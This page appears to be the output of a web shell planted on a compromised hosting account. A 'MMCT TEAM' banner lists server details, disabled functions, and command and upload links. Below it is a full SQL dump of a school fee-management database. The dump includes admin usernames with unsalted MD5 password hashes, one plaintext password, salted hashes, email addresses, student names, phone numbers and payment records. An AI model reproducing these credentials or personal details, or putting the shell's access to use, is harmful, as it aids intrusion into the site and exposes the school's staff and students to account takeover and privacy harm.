MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/onfees_13-03.sql
-- phpMyAdmin SQL Dump
-- version 4.6.4
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Mar 13, 2018 at 06:10 AM
-- Server version: 5.7.14
-- PHP Version: 5.6.25

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `onlinefees`
--

-- --------------------------------------------------------

--
-- Table structure for table `admin_accounts`
--

CREATE TABLE `admin_accounts` (
  `id` int(25) NOT NULL,
  `user_name` varchar(20) NOT NULL,
  `passwd` varchar(50) NOT NULL,
  `admin_type` varchar(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

--
-- Dumping data for table `admin_accounts`
--

INSERT INTO `admin_accounts` (`id`, `user_name`, `passwd`, `admin_type`) VALUES
(1, 'chetan', '3b8ebe34e784a3593693a37baaacb016', 'super'),
(4, 'anand', '8bda8e915e629a9fd1bbca44f8099c81', 'admin'),
(6, 'superadmin', '17c4520f6cfd1ab53d8745e84681eb49', 'super');

-- --------------------------------------------------------

--
-- Table structure for table `class`
--

CREATE TABLE `class` (
  `Name` varchar(100) NOT NULL,
  `Cls_Id` int(11) NOT NULL,
  `Discription` varchar(100) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `class`
--

INSERT INTO `class` (`Name`, `Cls_Id`, `Discription`) VALUES
('1st', 1, NULL),
('2nd', 2, NULL),
('3rd', 4, NULL),
('4th', 5, NULL),
('5th', 6, NULL),
('6th', 7, NULL),
('7th', 8, NULL),
('8th', 9, NULL),
('9th', 10, NULL),
('10th', 11, NULL),
('11th', 12, NULL),
('12th', 13, NULL),
('11', 14, NULL),
('12', 15, NULL),
('13', 16, NULL),
('18th', 17, NULL),
('14th', 18, NULL),
('puc I year', 19, NULL);

-- --------------------------------------------------------

--
-- Table structure for table `customers`
--

CREATE TABLE `customers` (
  `id1` int(10) NOT NULL,
  `f_name` varchar(25) NOT NULL,
  `l_name` varchar(25) NOT NULL,
  `gender` varchar(6) NOT NULL,
  `address` varchar(100) DEFAULT NULL,
  `city` varchar(15) NOT NULL,
  `state` varchar(30) NOT NULL,
  `phone` varchar(15) NOT NULL,
  `email` varchar(50) NOT NULL,
  `date_of_birth` date NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Table structure for table `division`
--

CREATE TABLE `division` (
  `Name` varchar(100) NOT NULL,
  `Div_Id` int(11) NOT NULL,
  `Discription` varchar(100) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `division`
--

INSERT INTO `division` (`Name`, `Div_Id`, `Discription`) VALUES
('A', 1, NULL),
('B', 2, NULL),
('C', 3, NULL),
('D', 4, NULL),
('e', 5, NULL),
('k', 6, NULL),
('ML', 7, NULL),
('ML1', 9, NULL),
('arts', 10, NULL);

-- --------------------------------------------------------

--
-- Table structure for table `head`
--

CREATE TABLE `head` (
  `Name` varchar(1000) NOT NULL,
  `Head_Id` int(11) NOT NULL,
  `SubHeads` varchar(1000) NOT NULL,
  `Last_Date` date NOT NULL,
  `One_Time_Payment` varchar(100) NOT NULL,
  `Fine_Amount` varchar(100) NOT NULL,
  `Bank_Code` varchar(10) NOT NULL,
  `ReciptName` varchar(1000) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `head`
--

INSERT INTO `head` (`Name`, `Head_Id`, `SubHeads`, `Last_Date`, `One_Time_Payment`, `Fine_Amount`, `Bank_Code`, `ReciptName`) VALUES
('VanFees_March', 5, '8', '2018-03-31', 'Yes', '100', '2', 'VAN'),
('Extra Fees', 8, '10/6', '2018-03-31', '', '100', '2', 'OTHR'),
('Annual Fees', 7, '5/4/7', '2018-03-01', '', '100', '1', 'REG'),
('Amrut', 9, '11', '2018-03-01', 'Yes', '100', '2', 'ambi1'),
('Rag Fees Code Part Payment', 10, '12/13/14', '2018-03-08', '', '015', '1', 'Rag'),
('Rag Fees Code One Time Paide', 11, '5/6', '2018-03-31', '', '50', '2', 'KLK');

-- --------------------------------------------------------

--
-- Table structure for table `paid fees`
--

CREATE TABLE `paid fees` (
  `Fees_id` bigint(20) NOT NULL,
  `Stud_Id` int(11) NOT NULL,
  `Recipt_No` varchar(100) DEFAULT NULL,
  `ReciptCounter` bigint(20) NOT NULL,
  `Head_Id` varchar(200) NOT NULL,
  `Subhead_Ids` varchar(1000) NOT NULL,
  `Paid_date` date DEFAULT NULL,
  `Mode` varchar(1000) DEFAULT NULL,
  `Fine_Amount` int(11) DEFAULT NULL,
  `Online_Charge` int(11) DEFAULT NULL,
  `Total_Amount` int(11) DEFAULT NULL,
  `Grand_Total` int(11) DEFAULT NULL,
  `flag` tinyint(4) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `paid fees`
--

INSERT INTO `paid fees` (`Fees_id`, `Stud_Id`, `Recipt_No`, `ReciptCounter`, `Head_Id`, `Subhead_Ids`, `Paid_date`, `Mode`, `Fine_Amount`, `Online_Charge`, `Total_Amount`, `Grand_Total`, `flag`) VALUES
(43, 4, 'VAN-2', 2, '5', '/8', '2018-03-09', 'Cash', 0, 0, 1324, 1324, 1),
(44, 4, 'OTHR-2', 2, '8', '/6', '2018-03-09', 'Cash', 0, 0, 1324, 1324, 1),
(45, 4, 'REG-2', 2, '7', '/4', '2018-03-09', 'Cash', 0, 0, 1324, 1324, 1),
(42, 20, 'REG-1', 1, '7', '/4/7/5', '2018-03-08', 'Cash', 0, 0, 2134, 2134, 1),
(41, 20, 'OTHR-1', 1, '8', '/6/10', '2018-03-08', 'Cash', 0, 0, 2134, 2134, 1),
(40, 20, 'VAN-1', 1, '5', '/8', '2018-03-08', 'Cash', 0, 0, 2134, 2134, 1),
(46, 2, 'VAN-3', 3, '5', '/8', '2018-03-09', 'Cash', 0, 0, 1934, 1934, 1),
(47, 2, 'OTHR-3', 3, '8', '/6/10', '2018-03-09', 'Cash', 0, 0, 1934, 1934, 1),
(48, 2, 'REG-3', 3, '7', '/4/5', '2018-03-09', 'Cash', 0, 0, 1934, 1934, 1),
(49, 2, 'REG-4', 4, '7', '/7', '2018-03-09', 'Cash', 0, 0, 200, 200, 1),
(50, 8, 'VAN-4', 4, '5', '/8', '2018-03-09', 'Cash', 800, 0, 1534, 2334, 1),
(51, 8, 'OTHR-4', 4, '8', '/6', '2018-03-09', 'Cash', 800, 0, 1534, 2334, 1),
(52, 8, 'REG-5', 5, '7', '/4/7/5', '2018-03-09', 'Cash', 800, 0, 1534, 2334, 1),
(53, 21, 'VAN-5', 5, '5', '/8', '2018-03-10', 'Cash', 0, 0, 1624, 1624, 1),
(54, 21, 'OTHR-5', 5, '8', '/6/10', '2018-03-10', 'Cash', 0, 0, 1624, 1624, 1),
(55, 64, 'VAN-6', 6, '5', '/8', '2018-03-10', 'Cash', 0, 0, 24, 24, 1),
(56, 103, 'Rag-1', 1, '10', '/14/13/12', '2018-03-11', 'Cash', 45, 0, 1600, 1645, 1),
(57, 103, 'KLK-1', 1, '11', '/6', '2018-03-11', 'Cash', 45, 0, 1600, 1645, 1),
(58, 103, 'KLK-2', 2, '11', '/5', '2018-03-11', 'Cash', 0, 0, 10, 10, 1);

-- --------------------------------------------------------

--
-- Table structure for table `stud_basic`
--

CREATE TABLE `stud_basic` (
  `Name` varchar(1000) NOT NULL,
  `Stud_Id` int(11) NOT NULL,
  `Gender` varchar(100) NOT NULL,
  `Class` varchar(100) NOT NULL,
  `Division` varchar(100) NOT NULL,
  `Reg_No` varchar(100) DEFAULT NULL,
  `Phone` bigint(20) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `stud_basic`
--

INSERT INTO `stud_basic` (`Name`, `Stud_Id`, `Gender`, `Class`, `Division`, `Reg_No`, `Phone`) VALUES
('Unknown', 101, 'Male', '8th', 'D', '78954', 8050482213),
('amrut', 2, 'Male', '1st', 'B', '1234', 1),
('Amit123456', 3, 'Male', '2nd', 'A', '987656', 988083245456),
('awaw', 4, 'Male', '1st', 'A', '123', 112),
('amrut2', 5, 'Female', '2nd', 'A', '124', 12),
('amrut3', 6, 'Male', '3rd', 'A', '125', 13),
('amrut4', 7, 'Female', '4th', 'A', '126', 14),
('amrut5', 8, 'Male', '1st', 'B', '127', 15),
('amrut6', 9, 'Female', '2nd', 'B', '128', 16),
('amrut7', 10, 'Male', '3rd', 'B', '129', 17),
('amrut8', 11, 'Female', '4th', 'B', '130', 18),
('amrut9', 12, 'Male', '1st', 'C', '131', 19),
('amrut10', 13, 'Female', '2nd', 'C', '132', 20),
('amrut11', 14, 'Male', '3rd', 'C', '133', 21),
('amrut12', 15, 'Female', '4th', 'D', '134', 22),
('amrut13', 16, 'Male', '1st', 'D', '135', 23),
('amrut14', 17, 'Female', '2nd', 'D', '136', 24),
('amrut15', 18, 'Male', '3rd', 'D', '137', 25),
('amrut16', 19, 'Female', '4th', 'A', '138', 26),
('amrut17', 20, 'Male', '1st', 'A', '139', 27),
('amrut188', 21, 'Female', '1st', 'A', '140', 28),
('amrut19', 22, 'Male', '3rd', 'A', '141', 29),
('amrut20', 23, 'Female', '4th', 'B', '142', 30),
('amrut21', 24, 'Male', '1st', 'B', '143', 31),
('amrut22', 25, 'Female', '2nd', 'B', '144', 32),
('amrut23', 26, 'Male', '3rd', 'B', '145', 33),
('amrut24', 27, 'Female', '4th', 'C', '146', 34),
('amrut25', 28, 'Male', '1st', 'C', '147', 35),
('amrut26', 29, 'Female', '2nd', 'C', '148', 36),
('amrut27', 30, 'Male', '3rd', 'D', '149', 37),
('amrut28', 31, 'Female', '4th', 'D', '150', 38),
('amrut29', 32, 'Male', '1st', 'D', '151', 39),
('amrut30', 33, 'Female', '2nd', 'D', '152', 40),
('amrut31', 34, 'Male', '3rd', 'A', '153', 41),
('amrut32', 35, 'Female', '4th', 'A', '154', 42),
('amrut33', 36, 'Male', '1st', 'A', '155', 43),
('amrut34', 37, 'Female', '2nd', 'A', '156', 44),
('amrut35', 38, 'Male', '3rd', 'B', '157', 45),
('amrut36', 39, 'Female', '4th', 'B', '158', 46),
('amrut37', 40, 'Male', '1st', 'B', '159', 47),
('amrut38', 41, 'Female', '2nd', 'B', '160', 48),
('amrut39', 42, 'Male', '3rd', 'C', '161', 49),
('amrut40', 43, 'Female', '4th', 'C', '162', 50),
('amrut41', 44, 'Male', '1st', 'C', '163', 51),
('amrut42', 45, 'Female', '2nd', 'D', '164', 52),
('amrut43', 46, 'Male', '3rd', 'D', '165', 53),
('amrut44', 47, 'Female', '4th', 'D', '166', 54),
('amrut45', 48, 'Male', '1st', 'D', '167', 55),
('amrut46', 49, 'Female', '2nd', 'A', '168', 56),
('amrut47', 50, 'Male', '3rd', 'A', '169', 57),
('amrut48', 51, 'Female', '4th', 'A', '170', 58),
('amrut49', 52, 'Male', '1st', 'A', '171', 59),
('amrut50', 53, 'Female', '2nd', 'B', '172', 60),
('amrut51', 54, 'Male', '3rd', 'B', '173', 61),
('amrut52', 55, 'Female', '4th', 'B', '174', 62),
('amrut53', 56, 'Male', '1st', 'B', '175', 63),
('amrut54', 57, 'Female', '2nd', 'C', '176', 64),
('amrut55', 58, 'Male', '3rd', 'C', '177', 65),
('amrut56', 59, 'Female', '4th', 'C', '178', 66),
('amrut57', 60, 'Male', '1st', 'D', '179', 67),
('amrut58', 61, 'Female', '2nd', 'D', '180', 68),
('amrut59', 62, 'Male', '3rd', 'D', '181', 69),
('amrut60', 63, 'Female', '4th', 'D', '182', 70),
('amrut61', 64, 'Male', '1st', 'A', '183', 71),
('amrut62', 65, 'Female', '2nd', 'A', '184', 72),
('amrut63', 66, 'Male', '3rd', 'A', '185', 73),
('amrut64', 67, 'Female', '4th', 'A', '186', 74),
('amrut65', 68, 'Male', '1st', 'B', '187', 75),
('amrut66', 69, 'Female', '2nd', 'B', '188', 76),
('amrut67', 70, 'Male', '3rd', 'B', '189', 77),
('amrut68', 71, 'Female', '4th', 'B', '190', 78),
('amrut69', 72, 'Male', '1st', 'C', '191', 79),
('amrut70', 73, 'Female', '2nd', 'C', '192', 80),
('amrut71', 74, 'Male', '3rd', 'C', '193', 81),
('amrut72', 75, 'Female', '4th', 'D', '194', 82),
('amrut73', 76, 'Male', '1st', 'D', '195', 83),
('amrut74', 77, 'Female', '2nd', 'D', '196', 84),
('amrut75', 78, 'Male', '3rd', 'D', '197', 85),
('amrut76', 79, 'Female', '4th', 'A', '198', 86),
('amrut77', 80, 'Male', '1st', 'A', '199', 87),
('amrut78', 81, 'Female', '2nd', 'A', '200', 88),
('amrut79', 82, 'Male', '3rd', 'A', '201', 89),
('amrut80', 83, 'Female', '4th', 'B', '202', 90),
('amrut81', 84, 'Male', '1st', 'B', '203', 91),
('amrut82', 85, 'Female', '2nd', 'B', '204', 92),
('amrut83', 86, 'Male', '3rd', 'B', '205', 93),
('amrut84', 87, 'Female', '4th', 'C', '206', 94),
('amrut85', 88, 'Male', '1st', 'C', '207', 95),
('amrut86', 89, 'Female', '2nd', 'C', '208', 96),
('amrut87', 90, 'Male', '3rd', 'D', '209', 97),
('amrut88', 91, 'Female', '4th', 'D', '210', 98),
('amrut89', 92, 'Male', '1st', 'D', '211', 99),
('amrut90', 93, 'Female', '2nd', 'D', '212', 100),
('amrut91', 94, 'Male', '3rd', 'A', '213', 101),
('amrut92', 95, 'Female', '4th', 'A', '214', 102),
('amrut93', 96, 'Male', '1st', 'A', '215', 103),
('amrut94', 97, 'Female', '2nd', 'A', '216', 104),
('amrut95', 98, 'Male', '3rd', 'B', '217', 105),
('amrut96', 99, 'Female', '4th', 'B', '218', 106),
('Surya', 100, 'Male', '12th', 'ML', '895623', 8762477246),
('AAAAA', 102, 'Male', '5th', 'A', '123', 12334),
('Rag 100', 103, 'Male', 'puc I year', 'arts', '1000', 8050482213);

-- --------------------------------------------------------

--
-- Table structure for table `stud_basic2`
--

CREATE TABLE `stud_basic2` (
  `UID` bigint(11) NOT NULL,
  `Stud_Id` bigint(11) NOT NULL,
  `Head_Id` bigint(11) NOT NULL,
  `Subhead_Id` bigint(11) NOT NULL,
  `Total_Amount` bigint(11) NOT NULL,
  `Paid` bigint(11) NOT NULL,
  `Balance` bigint(11) NOT NULL,
  `discription` varchar(200) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `stud_basic2`
--

INSERT INTO `stud_basic2` (`UID`, `Stud_Id`, `Head_Id`, `Subhead_Id`, `Total_Amount`, `Paid`, `Balance`, `discription`) VALUES
(1, 4, 5, 8, 24, 0, 0, ''),
(2, 20, 5, 8, 24, 24, 0, ''),
(3, 21, 5, 8, 24, 24, 0, ''),
(4, 36, 5, 8, 24, 0, 24, ''),
(5, 52, 5, 8, 24, 24, 0, ''),
(6, 64, 5, 8, 24, 24, 0, ''),
(7, 80, 5, 8, 24, 0, 24, ''),
(8, 96, 5, 8, 24, 0, 24, ''),
(9, 4, 8, 10, 600, 0, 0, ''),
(10, 4, 8, 6, 1000, 0, 0, ''),
(11, 20, 8, 10, 600, 600, 0, ''),
(12, 20, 8, 6, 1000, 1000, 0, ''),
(13, 21, 8, 10, 600, 600, 0, ''),
(14, 21, 8, 6, 1000, 1000, 0, ''),
(15, 36, 8, 10, 600, 0, 600, ''),
(16, 36, 8, 6, 1000, 0, 1000, ''),
(17, 4, 7, 5, 10, 0, 10, ''),
(18, 4, 7, 4, 300, 300, 0, ''),
(19, 4, 7, 7, 200, 0, 200, ''),
(20, 20, 7, 5, 10, 10, 0, ''),
(21, 20, 7, 4, 300, 300, 0, ''),
(22, 20, 7, 7, 200, 200, 0, ''),
(23, 2, 5, 8, 24, 24, 0, ''),
(24, 8, 5, 8, 24, 24, 0, ''),
(25, 24, 5, 8, 24, 0, 24, ''),
(26, 40, 5, 8, 24, 0, 24, ''),
(27, 56, 5, 8, 24, 0, 24, ''),
(28, 68, 5, 8, 24, 0, 24, ''),
(29, 84, 5, 8, 24, 0, 24, ''),
(30, 2, 8, 10, 600, 600, 0, ''),
(31, 2, 8, 6, 1000, 1000, 0, ''),
(32, 8, 8, 10, 600, 0, 600, ''),
(33, 8, 8, 6, 1000, 1000, 0, ''),
(34, 24, 8, 10, 600, 0, 600, ''),
(35, 24, 8, 6, 1000, 0, 1000, ''),
(36, 40, 8, 10, 600, 0, 600, ''),
(37, 40, 8, 6, 1000, 0, 1000, ''),
(38, 2, 7, 5, 10, 10, 0, ''),
(39, 2, 7, 4, 300, 300, 0, ''),
(40, 2, 7, 7, 200, 200, 0, ''),
(41, 8, 7, 5, 10, 10, 0, ''),
(42, 8, 7, 4, 300, 300, 0, ''),
(43, 8, 7, 7, 200, 200, 0, ''),
(44, 102, 5, 8, 24, 0, 24, ''),
(45, 103, 10, 12, 100, 100, 0, ''),
(46, 103, 10, 13, 200, 200, 0, ''),
(47, 103, 10, 14, 300, 300, 0, ''),
(48, 103, 11, 5, 10, 10, 0, ''),
(49, 103, 11, 6, 1000, 1000, 0, '');

-- --------------------------------------------------------

--
-- Table structure for table `sub_head`
--

CREATE TABLE `sub_head` (
  `Name` varchar(1000) NOT NULL,
  `Sub_Id` int(11) NOT NULL,
  `Amount` varchar(1000) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `sub_head`
--

INSERT INTO `sub_head` (`Name`, `Sub_Id`, `Amount`) VALUES
('computer_fees', 10, '600'),
('Tuition1', 5, '10'),
('Library1', 4, '300'),
('Gym', 6, '1000'),
('Sports', 7, '200'),
('boys', 8, '24'),
('ambi', 11, '10000'),
('Rag1', 12, '100'),
('Rag2', 13, '200'),
('rag3', 14, '300'),
('rag400', 15, '400');

-- --------------------------------------------------------

--
-- Table structure for table `usermanagement`
--

CREATE TABLE `usermanagement` (
  `id` int(11) NOT NULL,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `password` varchar(255) NOT NULL,
  `active` tinyint(1) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

CREATE TABLE `users` (
  `id` int(11) NOT NULL,
  `username` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
  `password` char(64) COLLATE utf8_unicode_ci NOT NULL,
  `salt` char(16) COLLATE utf8_unicode_ci NOT NULL,
  `email` varchar(255) COLLATE utf8_unicode_ci NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `username`, `password`, `salt`, `email`) VALUES
(1, 'amrut', 'amrut', 'aa', 'am@gmail.com'),
(2, 'amrut1', 'b6b9eab2e3ef834dd79d6eae9d5585cc2fafd3251ada6e84bdef7f740dcf7f2f', '6641c83f3ae9c5d', 'ambi@gmail.com'),
(3, 'amit', 'dcf6f62a5fdbfc61de76c53a8e5d4aa7b3560c8be5b2e9ccb7de503548ee7e39', '4275ae341c7f0bfc', 'amit@gmail.com');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `admin_accounts`
--
ALTER TABLE `admin_accounts`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `class`
--
ALTER TABLE `class`
  ADD PRIMARY KEY (`Cls_Id`);

--
-- Indexes for table `customers`
--
ALTER TABLE `customers`
  ADD PRIMARY KEY (`id1`);

--
-- Indexes for table `division`
--
ALTER TABLE `division`
  ADD PRIMARY KEY (`Div_Id`);

--
-- Indexes for table `head`
--
ALTER TABLE `head`
  ADD PRIMARY KEY (`Head_Id`);

--
-- Indexes for table `paid fees`
--
ALTER TABLE `paid fees`
  ADD PRIMARY KEY (`Fees_id`);

--
-- Indexes for table `stud_basic`
--
ALTER TABLE `stud_basic`
  ADD PRIMARY KEY (`Stud_Id`);

--
-- Indexes for table `stud_basic2`
--
ALTER TABLE `stud_basic2`
  ADD PRIMARY KEY (`UID`);

--
-- Indexes for table `sub_head`
--
ALTER TABLE `sub_head`
  ADD PRIMARY KEY (`Sub_Id`);

--
-- Indexes for table `usermanagement`
--
ALTER TABLE `usermanagement`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `username` (`username`),
  ADD UNIQUE KEY `email` (`email`);

--
-- Indexes for table `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `username` (`username`),
  ADD UNIQUE KEY `email` (`email`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `admin_accounts`
--
ALTER TABLE `admin_accounts`
  MODIFY `id` int(25) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7;
--
-- AUTO_INCREMENT for table `class`
--
ALTER TABLE `class`
  MODIFY `Cls_Id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=20;
--
-- AUTO_INCREMENT for table `customers`
--
ALTER TABLE `customers`
  MODIFY `id1` int(10) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `division`
--
ALTER TABLE `division`
  MODIFY `Div_Id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11;
--
-- AUTO_INCREMENT for table `head`
--
ALTER TABLE `head`
  MODIFY `Head_Id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12;
--
-- AUTO_INCREMENT for table `paid fees`
--
ALTER TABLE `paid fees`
  MODIFY `Fees_id` bigint(20) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=59;
--
-- AUTO_INCREMENT for table `stud_basic`
--
ALTER TABLE `stud_basic`
  MODIFY `Stud_Id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=104;
--
-- AUTO_INCREMENT for table `stud_basic2`
--
ALTER TABLE `stud_basic2`
  MODIFY `UID` bigint(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=50;
--
-- AUTO_INCREMENT for table `sub_head`
--
ALTER TABLE `sub_head`
  MODIFY `Sub_Id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=16;
--
-- AUTO_INCREMENT for table `usermanagement`
--
ALTER TABLE `usermanagement`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `users`
--
ALTER TABLE `users`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

MMCT - 2023